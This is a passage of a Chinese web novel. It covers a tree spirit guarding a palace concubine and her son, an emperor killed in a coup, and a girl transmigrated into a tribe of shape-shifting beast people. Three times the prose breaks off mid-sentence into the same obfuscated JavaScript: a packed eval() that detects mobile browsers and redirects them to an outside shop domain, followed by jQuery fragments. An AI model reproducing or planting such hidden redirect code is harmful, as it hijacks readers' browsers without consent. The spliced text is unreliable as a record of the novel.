有缘自会相见吧,长生又想。
长生走过很多地方,从群山走到平原,从草地走向荒漠。他品尝过甘洌的雪花,也曾痛饮过奔腾的河水。他一路向西、向北、向东、向南,最终都被广袤无垠的大海阻拦。他觉得自己已经穷尽了这个世界,便选了个水土丰盛的地方呆着,准备好好地睡上一觉。
树的睡眠都很好,长生也不例外。但人的睡眠很短,他们总要起来活动。长生睡觉的地方新修了一条路,这条路很宽,很结实,人们喜欢这条路,于是在旁边又修了很多房子。
长生就是在某座院子里醒来的,身旁一起睡觉的杨树和桃树都已不见踪影,取而代之的是梅花、桂花和杨柳。
也许是这家人更喜欢吃杏子吧,这才把自己留下来。长生漫无边际地思考着,困顿的大脑被一阵轻快的乐声打得清醒了几分。
“哦!”他这才想起,适才唤醒自己的正是那道阔别已久的旋律。
急急从借住的这棵树里脱身,长生漂浮在院子上方,终于看到正在演奏音乐的那个人。
原来是位清秀纤细的姑娘,坐在个石凳上,捧着快有人大的乐器,有些磕绊地拨弹着琴弦。
此地距离岑凌山千余里,年岁大约也过了千余年。琴的模样和音色有些陌生,曲调也有细微的不同,但长生仍旧读出了熟悉的味道。
想来是千年前的那个人和这个女孩,合想到一块儿去了。
长生还是那么喜欢这首曲子,于是就在院子里住下。
千年之间,人类的服貌、文字、语言都已不同,可人与人之间发生的故事却无甚改变。那个女孩仍旧和话本里写的一样,被皇家选进宫殿,离开了她的亲人。
长生的能力比从前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228592|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
强上许多,便悄悄跟着女孩进了皇宫。
这个帝王的龙气并不猛烈,后宫里阴气也很重,奇异地让长生感到十分舒适。他高兴地选了一棵和自己长得有些相似的杏树借住,离那个女孩不远也不近。
他看着她生活、晋升、搬进更好的宫殿,又在某个炙热的中午生下一名男婴。
长生终于又听到那首快乐的歌曲,女孩填了词,流利地唱给她的孩子听。长生就躲在树里,偶尔悄悄挪动树叶,为他们遮挡照在脸上的阳光。
假如时光可以暂停,该有多好呢?
只是长生很聪明,他知道,这样好的日子总是要结束的。
那天,他忽然察觉到有妖在靠近。
长生没见过多少妖精,尤其是这样攻击性异常强烈的妖。他自知不会打架,差点就要拔腿逃出这个国家。好在或许是皇宫里气息特殊,那妖并没有发现他的踪迹。
长生不想离开,但又想不出什么好办法赶走它。他没怎么学过术法,只能拿出过去打跑某个小妖的笨招数,让自己的灵力集中在果子里,悄悄偷了坛酒泡上。
动物总喜欢喝这种东西,长生决定那妖若是意图来犯,他就先下手为强,让它尝尝什么是真正的“销-魂美酒”。
可惜计划还不待实施,酒就被人偷喝了。小偷大概是哪个皇子,少年来探望弟弟,不知怎么就找到了酒坛。长生发现的时候,他已经睡倒在假山里,喝干的坛子倒扣在地上,一滴也不剩。
好在人没有妖灵,他的灵力不会在人类的身体里产生冲突,便和一般的酒没多大区别。只是少了防身的手段,长生再不情愿,也只好挖出从前得来的雷击桃木,给自己削了把宝剑,日日操练起来。
长生喜欢安静,住的院子便离女孩的宫殿不近也不远。
因而等他感受到妖气靠近时,一切都迟了。
女孩被掐断脖子,鲜血淌满衣襟。她的孩子倒在门口,就要被那双丑陋的白手抓起。长生什么也没多想,拿着剑就冲了上去。
纸上……什么,要躬行……长生摔在男孩身边,脑袋里全是老师的训斥声。
哎,不好好练习就是这样的下场啊!
长生无法,只得长叹一口气,把所剩无几的灵力全喂给旁边那个孩子。他身上已有隐约的龙气环绕,这些灵可以作为养料,让那龙气多些自保的能力。
蛇妖的尖牙已逼至眼前,长生举起木剑,使出训练多日的一招唬人用的漂亮剑花,随即把剑从右手变到左手,在那两枚森亮的牙齿扎进皮肤时,狠狠刺入大蛇粗壮的身躯里。
长生不会打架,也不爱练习,但好在,他还有几分聪明。
杏妖说不上来是什么时候睡醒的,好像忽然哪个瞬间就能听到声音。
有一道舒服的水流滋润了它干渴的树根,它就在某个动物的叫声里睁开眼睛。
一个穿着深蓝色绣花锦袍的妇人在为它浇水,井水干净清冽,还有些冰凉。杏妖从恍惚中脱身,饶有兴致地观察起这个人。
她的表情丰富活泼,脸上挂着明朗的笑意,一边浇水,一边还哼唱着一首旋律有些耳熟的曲子:“我有一个美丽的愿望,长大以后能播种太阳……”
真好听,杏妖和自己说。
18. 番外:世界的分支
闻韫从放空的状态中醒来,面前的纸品已经烧成一堆没有火星的灰尘。两支红烛盈满血泪,缓缓流过烛身。
他盯着那两点火光看了一会儿,随即转身走向宫殿大门。朱红色的门槛很高,对过去的他来说是这样,对现在的他来说也是这样。
宫道上静悄悄的,什么人也没有,闻韫于是放纵自己在那道门槛上坐下。
在他的梦里,他曾无数次冲向这道门槛,又无数次地倒在它的周围。门外是无边的黑暗,门内是无尽的恐惧,他就在这两端来回游移,惊恐万分,难以安寝。最终只能选择站在这片红色的木板上,小心保持平衡,以求得一丝松快的喘息。
有宫人从门前走过,发出极轻的脚步声,四周围的宫殿都点起烛灯,天色已然转深。闻韫终于从门槛边站起身,一个人幽幽走回他的住所。
他试图回想自己单薄的人生,从和煦的风,想到星点的树影;从第一口蜜糖,想到第一次喝药;从奔跑,想到写字;又从母亲的微笑,想到母亲的鲜血。
王德鸿在殿前守着,看到他来就匆匆迎上前:“国师马上来这儿了,陛下您……”
他神情紧张,动作急切,无声地催促着闻韫往房里走。
闻韫停在门槛前,陌生地看着已走到房内的王德鸿。
他何来这样惶恐的态度?好似在劝慰一只身份高贵的宠物,抓紧在主人到来前乖乖回窝呆着。
一阵莫名的,或许也有迹可循的愤怒从心底直冲脑门,闻韫急促地呼吸着,为他突如其来的某种冲动而感到头昏脑胀。
王德鸿看到皇帝终于肯进屋坐在床边,心中大松一口气,急忙遣走其他人,又战战兢兢地把门板合为一扇小口,神色慌张地也离开了。
他前脚刚走,那位令人胆颤的主宰者就静悄悄地降临到了这里。闻韫仍停留在自己的幻想当中,他模拟着每个动作,推测着每种反应,甚至无暇顾及来人究竟说了些什么话。
那个人看起来心情很好,悠悠然坐到他身边,又用那冰凉的手抚摸他的头。闻韫听到那道嗓音里透出来的快乐和兴奋,心中的悲怆怨怒如狂浪般涌过全身,使得四肢都开始激动地隐隐发颤。
你为什么这么高兴?你凭什么这么高兴?闻韫呼吸急促,视线被泪水模糊,过去那些无用的、可怜的温柔关怀就像最有效的助燃剂,指使着大火烧光了他的理智。
闻韫高高举起右手,宽大的衣袖滑落到手肘,露出掌心紧握着的那把闪着寒光的匕首。
他双目赤红,紧咬牙关使出全力,猛地挥手刺向身旁那人毫无所觉的心口。
皇帝被软禁了。
消息传到蒋易阳耳边时,他正在林千枋的书房里坐着。
传话的人很快退走,蒋易阳静静地看着林千枋背后那幅题为《隐亭初游》的山水画。他没有避着好友,因而林千枋也听到了这个消息。
蒋易阳的视线散放在画卷上,余光就能看到林千枋的表情从略微惊异,转为低头沉思,最终又受不住寂静,频频以眼瞥向他的脸。
“你们……”林千枋犹豫地开了口,却又不知到底该说些什么。
“我找到陆神医了。”蒋易阳等他说完那两个模糊的音节,总算收回视线,轻松地谈起另一件事:“就在我府上,过几天找个时间让她来给千平看看。”
林千枋眉间的淤塞轻松了一些,但很快又重重地捻起手指。
陆茴是闻国有名的游医,擅长以针灸治疗疯病癔症。半年前在都城附近义诊,林千枋专程亲自拜访,结果竟得知对方居然离奇失踪了。他连着打听了几个月都没得到什么有用的线索,这件事也从未和谁提过,蒋易阳又是如何知道的?
“只是如今陛下这样……我可能也要忙起来了,大概要再等上几月吧。”蒋易阳低头把玩着手里已经喝干茶水的小瓷杯,指头灵活地让它在手心里翻转滑动。他不再去看林千枋的表情,只像是得到什么新奇玩意似的,不停摆弄着那枚青绿色的杯子。
他感觉到林千枋此时正紧盯着自己,眼神直白无惧,毫无掩饰地展露出主人的心情。他微合上眼,想要完全屏蔽这种充满失望和怀疑的刺人目光。
过了不知多久,他听到好友无波无澜的声音:“你知道他还活着了?”
闻奕骑在披着战甲的红豆身上,又一次回到这片久违的故土。他陪在蒋易远身边,遥遥看着皇宫中突然刺出的九层高塔。塔顶建得仓促,瓦片都来不及盖上,墙壁还未粉刷,灰砖突兀地层叠在一起,像顶漏风的破帽子。
天色阴白,云雾山一般盖在头顶,明明已是极度寒冷,却一粒雪也舍不得飘下。闻奕听着自己闷在头盔里的呼吸声,茫然地等待着号令。周围士兵来来去去,人声、号声、金属碰撞声,全都搅和在一起,游离在他的耳朵之外。终于,远处城门大破,闻奕跟着蒋易远的动作翻身上马,心绪不宁地随着人流往前突入。
“红豆不怕啊不怕,没事的很快就结束了,没事的…没事的……”
红豆没有回答,头盔里依然只有他的呼吸声。
“陛下?陛下!陛下!”王德鸿在奔逃的人群中逆流而上,闯进皇帝的寝宫里,无望地呼喊着。装饰华丽的房间内空无一人,桌椅凌乱地碎在各处,床褥堆在房间角落,枕头上躺着一幅笔迹稚嫩的字帖。
“皇上…皇上?”王德鸿流着泪,声音转而变成轻轻的唤叫,像是生怕打扰对方休息一般,轻手轻脚地在房内打转:“皇上?皇上?起床了,皇上?”
宫人们喧乱的脚步声已然远去,这间金碧辉煌的寝殿迎来了短暂的宁静。王德鸿的声音听在耳朵里,便显得那么巨大,那么嘈杂。他又压低嗓音,轻声细语地呢喃着,寻找自己的陛下,想喊他起来,该用午膳了。“皇上?皇上……”再怎么样也不能不吃饭呀,您都多少天没好好吃东西了……皇上?
闻韫已经主动绝食近半月了,他吃得极少,清醒时从不接受任何食物,王德鸿只在其半梦半醒时能够近身为他灌些汤药粥水。因而他现在看上去就像是个关节灵巧的瘦削木偶,半合着的眼睛暴突在外,脖颈已然支撑不住脑袋的重量,任由身体垂头搭脑地靠在砖墙边。
塔顶的宝石还未安上,墙面只凿出点点空位,等待着组成耀眼的星座。螣禹将怀里捧着的各色石头挨个填入空洞里,黄玛瑙、白玉髓、青金、水晶、珊瑚、翡翠……角、亢、氐、房、心、尾、箕,七星宿拼成龙型,在这简陋的塔内闪着炫异的光彩。
螣禹退到中央,满意地环顾他的作品,激昂澎湃的情绪在胸中鼓动,令那张好看的脸庞扭曲地大笑起来。
夙愿今日将了,如何能不畅快淋漓?他张开双臂,抬起头享受着冬日凛冽的寒风穿透心胸,难得地没有感到疲惫和困倦,想来是马上就能脱蛇成龙了。
他走到皇帝身边,轻轻握住那段瘫软的脖颈,高高举到风中,准备进行最后的仪式。
闻韫的眼睛终于动了,眼珠费力地聚焦在那张脸上,窒息感如海般淹没了他,红肿的面庞无法再支撑他说出什么话来。他眼角流下水珠,齿缝溢出鲜血,嘴唇微微蠕动,仿佛在说:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228593|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“快跑。”
都城内,国师的军队被调出大半,蒋易远的队伍只在城门处受阻片刻,很快便攻进城中。只是城里房屋林立地形复杂,还有不少着急逃亡的居民,士兵们接到命令不得伤害百姓,于是前进速度逐渐慢了下来。
李成悟率领禁卫军,埋伏在城内各地,不时便向他们发出突袭。
闻奕虽然在皇子当中只有一张俊脸可圈可点,但箭术也算能排上个数,只是他骑术一般,红豆惊慌的步伐便使得射出去的箭不时偏离轨道,常常错过目标。
如果魏汀在就好了,他不禁想到,魏汀聪明,比我聪明,他知道该怎么让红豆安静下来,他聪明,又稳重,一定……
李成悟大喇喇出现在前方,混乱的交战队伍后边,一面旗帜上挂着一枚头颅,骄傲地迎风飘动。
闻奕不巧看见了那面旗帜,又不巧认出了那张血脸。常年练习箭术的人目光敏锐,直觉出众,他们能在复杂的色块中精准地捕捉到重点。如此熟悉的,那么残酷的重点。
“啊啊啊啊!!啊啊啊啊啊啊啊!!”他不受控制地大喊出声,金属头盔内嗡嗡回响着他的怒吼,在所有人纷纷抬头看天的一瞬间,红豆突然停住脚步,于是利箭终于得以笔直出发,如破竹之势猛地刺向他的目标。
天空中雷鸣阵阵,一只巨大的黑龙破开宝塔,在云雾里翻腾游弋。
李成悟被射中胸口,从马上侧翻倒下,死前脸上仍保留着惊愕又欣喜的神情。他麾下的士兵们全都丢开武器,跪倒在地,崇敬而惶恐地连连拜伏。
那头黑龙的身躯时隐时现,不甚轻巧地游往高空。假若有人愿意细看,就能发现那漆黑纤长的龙身上,一只龙爪也没有。
林千平被母亲塞进车厢,腿上脚边堆着几个大大小小的凌乱包袱。她受过几次针灸治疗,神智清明不少。
“娘……娘?”她茫然地喃喃着,看着徐芝年语气急切地嘱咐冬葵。陆茴坐到车前,抓起缰绳催促她们的动作。
“娘去找你哥哥,很快就回来,不怕啊。”她抚过女儿的面庞,匆匆替她把头发挽在耳后:“很快就来。”
马车从小路躲开混乱,一路长驱直到城门口。车厢暂时停留几息,很快接着摇晃颠簸起来,林千平紧紧抱着一个装有金银财物的锦布包袱,不时帮着冬葵捞起快滑至门边的行李。她们越走越偏,路面逐渐出现大块砾石与植被,轰然的雷声自天空响起,车便走得更急更快。
震天雷鸣中忽而突现一阵纷乱的马蹄声,陆茴紧揪缰绳,车被逼停在路边。
“你们是什么人!”她厉声呵道。
无人应答她的询问,利剑与快刀齐齐挥向单薄的车壁。
马匹高声嘶鸣,恶徒闯入厢没,将包裹尽数劫走。林千平躺倒在沙石路上,血液从她脖颈上的裂口不停向外流淌,她的嘴边冒出粉红色的细碎血沫,恍惚间好似又回到了从前那懵懂无知的状态当中。
有个匪徒向她走来,想要拿走她头上的首饰。那人身上披挂着纹样独特的五彩布条,林千平的手长长地往前伸着,双眼迷蒙地看着那片斑斓的色彩,已经发不出声音的喉咙无助地叫着:
“哥哥……哥哥?”
她已经懂了一些事,从前也听过不少精怪神话,在彻底陷入黑暗的那一瞬间,她的大脑摆脱混沌,尖啸着祈求一切能够回到过去。
如果我聪明一些,如果我神智清醒一点,结局会不会有所不同?
老天,老天,你听到我的愿望吗?
……你听到了吗?
19. 兽人
你有没有玩过蹦床?
林千平小时候总喜欢躺在蹦床上,闭起眼感受身下奇异的震动,恍惚间就像要被抛上天空一样快意。
只是现在躺着的这张蹦床实在坚硬,也不会上下剧烈晃动,还总有些尘土颗粒硌着她的脸。
不过,游乐园里为什么会有牛叫?
林千平打了个喷嚏,拨开嘴边的草杆,坐起身想看个究竟。
惫懒的上眼皮刚睁了一半,就惊恐地拽着全身从地上猛拔起来。
此地不是游乐园、不是隐亭湖边的草地、更不是她的小出租屋...只见四周全是一望无际的广阔草原,偶有地方稀落地长着些树丛,日头已经偏西,斜射的阳光在飞舞的灰尘中照出道道光束。
一片无垠的黑色潮水正从远处袭来,大地的震动如同雷鸣般响亮,驱使着林千平手脚并用地爬上不远处一棵还算粗壮的矮树。
她紧紧抓着树枝,把脚塞在枝丫的连接处,企图固定好自己。隆隆的响动伴随着浑厚的叫声逐渐靠近,她终于看清这些动物的真面目——那是一群正在迁徙的角马。
不知出于什么缘由,这些笨拙的生物全都相互簇拥着急急往南奔跑,扬起的沙尘让林千平忍不住大声咳嗽。脚下的这棵树倒是坚实,被几只慌不择路的角马撞了几次都只是轻微晃动,丝毫没有要折倒的意思。林千平稍稍放下心来,就这么站在树上沉默地注视着一只又一只庞大的角马从身下路过。
光着的脚面被树皮磨擦得有些不舒服,林千平低头查看,毫无意外地在身上看到一件样式粗犷的兽皮衣服。这大约是一整块兽皮简单裁剪出来的,有点像背心连衣裙,只在腰部系了段草绳作为固定。没有鞋袜、皮肤黝黑,手心长着老茧,头发只到脖颈,发丝散乱地黏在脸上。
唯一令她感到熟悉的,只有视线中那个白色的灯泡图标,和狂野的草原风景搭配起来,像是在从什么高级望远镜里观察这片草原一般。
林千平没有多想,连忙唤出对话框,匆匆读起上面的内容:
你的任务:共同迁徙(0/3)
时限:一年
倒计时:364天7小时40分钟
啊我也要迁徙吗?我吗?往哪迁?和谁迁?
角马们已经离开,林千平动作机械地爬下树,毫无目的地眺望着远方,试图让大脑运转起来。
……至少得先找些吃的东西。林千平很快放弃漫无边际的思考,低头打量起周围的植物,想要努力分辨出其中可食用的部分。
有些微风轻轻扫过一处半人高的草丛,林千平原地转了一圈,刚好抬起头往那边看去,不偏不倚地就和趴在草里的某个动物对上视线。
橘色毛发黑色花纹,眼睛旁边一圈白眼线……她难以置信地搓了搓眼,那竟是只如假包换的活老虎!
林千平紧张地后退两步,来不及细想身为丛林之王的老虎怎么会出现在草原上,她直勾勾盯着那只嘴边还残留着血迹的猛兽,缓慢地退到树边,连呼吸都变得小心万分。
她本想上树躲避,又想起老虎也会爬树,何况以猫科动物的反应能力,她只要一背过身去大概率就会被扑个正着。
风又转了个方向,林千平终于注意到有些愈发浓郁的血腥味从那处传来。草丛倒伏的面积不小,它似乎刚刚捉到猎物,正在享用晚饭。
血液的气味浓得令人头晕目眩,心脏疯狂地挣动着,几乎濒死的恐惧感让她手脚冰冷,眼前阵阵发黑。
肉多一些的更好吃吧?人没什么味道的,一口就能咬到骨头...林千平嘴唇蠕动着,什么声音也发不出来。
恍惚间,她似乎看到那只老虎正在向她靠近。
肾上腺素的飙升使得大脑不受控制地胡乱发布指令,她就这样背对着老虎拼命逃开,无望地想用人类的双腿跑赢这位浑身筋肉的顶级捕食者。
因为紧张而麻木的四肢慌乱地不停摆动,她猛跑出几百米,回头却发现那只老虎仍旧不急不徐地小步跟在后面,霎时间气血上涌,步伐和呼吸都乱了起来。
没多久便被什么东西绊倒在地,脑袋狠狠撞上一块石头,痛得人几欲昏死。
尖啸的耳鸣响起,周身景物都旋转着要她立刻睡着,林千平无力地半合上眼,脑中不断强迫自己保持思考。
可惜意识太过模糊,她只隐约听见道陌生的女声,随即便再也抵抗不住强大的生理反应,晕倒在粗糙的土地上。
卓娅正在制作新的帐篷。用的是几张刚鞣制好没多久的角马皮,勉强缝合在一起,当做个大披风般围在绑好的树枝上。
她忙活着手里的工作,时不时也抬头看看四周。尽管已经有人在轮流警戒,但她作为这个临时部落的首领,总要多分些精力去留意族人们的状态。
远处传来一阵熟悉的呼喊,卓娅有些意外地放下骨针,朝着声音传来的方向跑去。克西比平时回来得更早,她担心是不是发生了什么意外。
好在这位健壮的战士并没有受伤,只是一边肩膀扛着个兽人,另一手拖着只角马,别别扭扭地在草里走着。
同样跑来查看情况的族人们帮忙抬走角马,克西得以换了个姿势抱起昏迷的陌生兽人,在卓娅的催促下快步赶回营地。
“我觉得她应该没事,好像就是晕过去了……”克西有些心虚地解释道。
她没想到这女孩竟然是个变不了兽形也认不出兽人的“筎萨”,不仅被她的兽形吓得晕倒,甚至还狠狠撞伤了脑袋。
卓娅没搭理她,歪着身子快速探查一番,确定这个姑娘身上没有其他伤口,这才朝着前方的空帐篷扬扬下巴:“把她放在那边。”
克西没敢多说其他,愧疚地把女孩妥善安置在帐篷里。
图姊来得很快,她是这些人中最懂得使用草药的那一个。林千平躺在狭小的帐篷里,脑袋被摸了个遍,连头发都被拨开查看。
卓娅去帮忙切分角马了,克西一个人等在外面,叉着腰原地乱转,很快就在草地上磨出一圈光秃秃的痕迹来。
“我已经给她包好伤口,能醒来就没事了。”
图姊温和的声音拯救了可怜的草地,克西扔掉手里的草根,心有余悸地感叹道:“还好有你在,图姊……我明天抓羚羊来给你吃吧?附近正好有一群还没走远呢…”
林千平从黑暗中惊醒,猛地直起上身,却又立刻被眩晕打倒在地。顾不得额角还在刺痛的伤口,她闭了闭眼,努力打量这个泛着异味的窄小空间。
克西刚好啃完半排马肋,听见帐篷里的动静立刻掀开门帘闯了进去。她的眼睛即使是人类形态下仍旧能在黑暗里微微反光,林千平便只能看到个模糊的人影,挂着两盏诡异的小灯朝她靠近。
“呃,你别怕……我是,我是克西。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228594|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
克西觉得自己似乎又吓到了这个女孩,磕磕巴巴地想说些什么安慰一下对方,最好还能道个歉。
林千平头疼地扶了扶脑袋,摸到块柔软的皮毛,散发出淡淡的青草气味。
“你救了我吗?……谢谢。”她的眼睛适应了昏暗的环境,隐约能看到面前半跪在地上的是个强壮的短发女人。
“是我,不,也不算是……那个,你还能起来吗?我这有吃的。”克西被突如其来的感谢吓得舌头打结,慌慌张张说了一通话,自己都没听明白说的究竟是些什么内容。
林千平慢慢坐起身,朝这位“克西”露出个尴尬的微笑:“我没什么事,咱们去吃东西吧。”
帐篷外的景象倒是比林千平预想的要好上一些,至少这些原始人已经学会了取火,现下正四散围着几个火堆烤肉吃。
克西把她带到一个红黑色长发的女人面前,高兴地说起话来:“卓娅,她醒了!图姊的药真管用!”
林千平被一双厚实的大手按在石头上坐下,名叫卓娅的女性满脸严肃地贴了贴她的脸颊,又仔细查看了绑在她头上的兽皮,扯扯打结处确认牢固性后,才从火堆边拿来几支肉串塞进林千平手里。
“先吃吧,吃完再告诉我们你从哪来的,好吗?”卓娅温和地安抚着这个有些偏瘦的可怜孩子。想来她的境遇大约也和他们差不多,只是不知这个孩子是从哪个方向逃来的,能不能在他们这儿正好碰到自己的族人?
林千平舔舔干燥的嘴唇,狼吞虎咽地吃起肉串。这肉粗硬难嚼,只有极淡的一丝咸味,吃得人腮帮子发肿。好在这不知名的动物还有几分脂肪,油脂的焦香多少能弥补这些缺点。
急急吃个半饱,林千平慢下动作,嚼着肉块打量四周。
这是片大石背后的空地,有几棵不算高大的树长在一旁,几个兽皮做的帐篷支在地上,四个火堆边却聚着约有三四十个人。
这要怎么住?林千平又换了一边牙使劲咬肉,目光划过最近的一个火堆,就被几个头上长着毛耳朵、身后拖着大长尾巴的少年们惊得停下了咀嚼。
耳朵、尾巴……林千平转过头看了看坐在旁边啃骨头的克西,一口白牙随便就能咬碎坚硬的腿骨,嗦着骨髓还不忘冲林千平笑笑。
克西不会就是那头老虎吧?一定是的吧?完全就是的呀!林千平联想起晕倒前听到的人声,手不自觉攥紧肉串,伸着脖子猛地咽下嘴里的肉,不知是噎的还是惊的,两眼顿时冒出些蒙蒙雾气。
她被自己的推理吓了一大跳,又抱着侥幸的心态多看了两眼那边的兽耳少年们。
好巧不巧地,正有一只硕大的狐狸从不远处跑来,在靠近火堆时轻快地连跳了两步,落到地面变成个红色长发的精瘦男人。
林千平不敢再多看,绝望地闭上眼,条件反射般狠狠咬了咬手里的树枝。
他们会不会看出来我不是兽人?我应该不能变身吧?我能吗?
林千平闭着眼,使劲感受着身体的各个部位,想看看自己究竟能不能变成动物。
变身到底是什么感觉?需要默念咒语吗?林千平在心里翻来覆去地念了几遍“变身!”,睁开眼就发现自己还是那个无聊的人类,她略带失望地吃完肉串,抬头就和卓娅对上视线。
“我……我叫千平。”林千平看着眼神平静,略带笑意的卓娅,心虚地做起自我介绍。
20. 兽人
林千平硬着头皮说出自己失忆,现在只能记得名字的状况。
克西在旁边听见她的话,吓得抱着骨头就开始道歉:“都是我的不好...我吓着你了,对不起,我不是故意的,我不知道你是筎萨...”她神色委屈,呜里哇啦地说了一长串,就差要把自己的所有家当都送给林千平以求原谅了。
她们坐着的这个火堆旁聚集的都是些头发灰白的老人,此时全被克西的发言吸引了注意力,笑盈盈地看着这只老虎大发委屈。
离林千平最近的一个婆婆伸手摸摸她的头,又在她的后颈处轻柔地捏了两下,经常干活的手有些扎人,林千平缩了缩脖子。
婆婆坐得近了些,捏住她的手揉搓起来。“好孩子,不用害怕,也不要难过,筎萨是你的天赋,是上天的礼物。”不甚明亮的火光下,林千平看不清所有人的脸,但却能感受到如火般温暖的善意。
“我们也在寻找自己的族人,不要怕,大家都会帮助你的。”林千平敏锐地捕捉到关键词句,适时地表露出疑惑的神情,四下寻找解答。
卓娅安抚好克西,向她补充道:“不久以前,大地母亲曾经发怒,裂开巨大的口子。地面震动,洪水爆发,冲毁许多部落。”气氛肉眼可见地变得低沉,这个火堆旁的空间像是突然被从队伍里隔开,安静得只能听到柴火噼啪的声音。
隔壁的少年们不知在聊什么,全都忽地咯咯大笑起来。
“我们从北方逃来,都和自己的家人走散了,好在我们还活着,还能遇到彼此。”
“感谢母亲。”
不知是谁先开始的,火堆旁的众人纷纷垂下脑袋,虔诚地抚摸着自己的胸膛。感谢天空母亲、感谢大地母亲,感谢活着,感谢相遇。
林千平跟着低头默念,这样深切又如此平静的悲伤令她心绪复杂,不由自主地也想起自己那遥远的家乡。
但好在,我也还活着。
林千平躺在帐篷里,旁边还被塞进来一只毛乎乎的小豹子。健康的青壮年兽人们都在外头变成兽形睡觉,空地上只留下了一个火堆彻夜长亮,旁边横七竖八地挤着品种各异的动物们。
小豹子睡得很安稳,像个会发热的毛绒玩具般一动不动地侧躺着。林千平摸摸它茸茸的皮毛,又捏捏柔软的小爪子,控制住自己狠狠吸一口肚皮的不良想法,她闭上眼,希望自己快些入睡。
...王清虞,你现在在哪?
翌日,林千平醒得很早,身旁的豹枕已经睁开眼睛,好奇地盯着她看。
“嘤!”这是只小猎豹,声音不似其他猛兽那般浑厚,尖尖细细的倒像只撒娇的小猫。
“哎哟,小宝,我听不懂呀。”林千平搓搓豹头,迷迷糊糊地又凑上去亲了一口,蹭了一嘴的绒毛。
小豹子挣扎起来,拿肉垫推了她几脚,翻身跑出了帐篷。
林千平也跟着走出帐篷,有些早起的兽人正在用几口石锅煮汤,里面是些剩下的骨头和野菜。
昨天见过的那位阿婆也在火堆旁挑拣植物,她似乎一直注意着帐篷里的动静,见林千平出来,立刻就招手让她到自己身边去。
重岚婆婆分给林千平一袋子乱糟糟的植物,要她把里面长得有点像萝卜叶子的植物都挑出来。
林千平干得很快,虽然长相有些微的不同,但她仍然能认出袋子里绝大部分可食用的植物。
她们要的大约是芜箐叶,只是里面还有些野葱、蒜叶、一种很像姜叶的植物,甚至还有几把开着小花的马齿苋。
林千平见其他人只挑了芜箐,剩下的植物全都被倒在一边的空地上,干完手里的活就顺手也把那堆数量不小的植物分了分。
周围陆续响起嘈杂的活动声,睡醒的兽人们惬意地发出哼叫。林千平埋头苦干,忽然听见一道清脆的鹿鸣,有些惊喜地转头想去看,没想到身后竟然站着好几个人和动物。
一只毛色鲜亮的小狐狸跳到她腿上,嘤嘤啊啊地叫着。
“她在和你问好呢。”有个笑容腼腆的清秀男人替她翻译道。林千平下意识抓抓蓬松的狐狸尾巴,尴尬地朝他点点头。
围着她的大多都是还长着耳朵和尾巴的青少年,此时见林千平有所回应,立刻七嘴八舌地发问:“你还好吗?”“你是筎萨吗?”“你的天赋是什么?”...
有个扎着双麻花辫的姑娘脑袋转来转去,问了好几遍“筎萨是什么?”,结果没一个同伴搭理她,于是郁闷地挤开其他人,贴到林千平跟前问她:“筎萨到底是什么呀?”
重岚婆婆适时打断这群精力旺盛的半大小孩们,拎走试图用林千平衣角磨牙的小狐狸,等所有人都安静下来,才开始解答他们的疑惑:“筎萨是最特殊的一种兽人。他们虽然不能变成兽形,也不能分辨出兽人和动物的区别,但是他们都很聪明,每个人都有自己独特的天赋。”她拿起一把林千平分好的马齿苋,又继续说道:“千平的天赋,应当就是能分辨植物。我们食草兽人可以通过本能找到能吃的植物,有些筎萨同样可以,甚至能做得更好。”
周围那些少年们便都纷纷朝林千平投去羡慕的目光,对于还未形成普遍教育体系的兽人们来说,懂得越多知识的兽人,就越容易受到尊敬。
林千平摸-摸鼻子,没开腔接话。她从小在山里长大,辨认植物也是多年耳濡目染学来的,倒不是什么神奇的天生异能。重岚的一通夸奖,让她只能红着耳朵又低头继续干起自己的活来。
肉汤煮好,饿坏了孩子们原地解散,乖乖跟着排队领汤。林千平不是很饿,也没有要去喝汤的意思。这个部落的餐具数量严重不足,好几个人才能共用一个石碗。她没有其他相识的人,克西也不见踪影,便只坐在原地慢慢处理着杂乱的草叶。
卓娅安排好今天进行狩猎和警戒的人手,面色有些严肃地也过来吃饭。她随便喝了两碗放满野菜的稀汤,这才注意到人群边不停分着植物的林千平。
“怎么不去喝汤?”卓娅蹲在她旁边,拿起几根野葱凑到鼻子旁闻了闻。
“你们为什么不吃这些植物呢?”林千平已经大致分好,除了食草动物才能消化的粗糙牧草,还剩下好几种能吃的野菜。
“食肉兽人可以接受的植物不多,他们通常不愿意吃这些气味特别浓的野菜。”卓娅指指
